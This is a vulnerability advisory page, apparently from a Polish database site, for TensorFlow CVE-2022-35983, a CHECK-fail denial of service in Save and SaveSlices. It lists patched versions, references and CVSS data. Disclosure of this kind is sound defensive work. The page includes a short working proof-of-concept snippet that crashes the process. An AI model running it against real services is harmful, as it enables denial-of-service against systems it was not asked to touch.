TensorFlow vulnerable to `CHECK` fail in `Save` and `SaveSlices`
Impact
If Save or SaveSlices is run over tensors of an unsupported dtype, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
filename = tf.constant("")
tensor_names = tf.constant("")
# Save
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=-2021), tf.uint64)
tf.raw_ops.Save(filename=filename, tensor_names=tensor_names, data=data, )
# SaveSlices
shapes_and_slices = tf.constant("")
data = tf.cast(tf.random.uniform(shape=[1], minval=-10000, maxval=10000, dtype=tf.int64, seed=9712), tf.uint32)
tf.raw_ops.SaveSlices(filename=filename, tensor_names=tensor_names, shapes_and_slices=shapes_and_slices, data=data, )Patches
We have patched the issue in GitHub commit 5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
Odnośniki
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m6vp-8q9j-whx4
- https://nvd.nist.gov/vuln/detail/CVE-2022-35983
- https://github.com/tensorflow/tensorflow/commit/5dd7b86b84a864b834c6fa3d7f9f51c87efa99d4
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-m6vp-8q9j-whx4
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-617- Platforma
- Python (PyPI)
- Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu- Ujawniono
- 16.09.2022
- Aktualizacja
- 11.10.2026 14:18
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1017 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3213 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-m6vp-8q9j-whx4 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3349 - PyPA Advisory Database; CC BY 4.0
Historia podatności: tensorflow-cpu
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 430
- Pierwsza → ostatnia
- 04.2019 07.2024
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 6
- Wysoka 111
- Średnia 208
- Niska 105
Ujawnienia w latach
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
TensorFlow vulnerable to `CHECK` fail in `Save` and `SaveSlices` ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.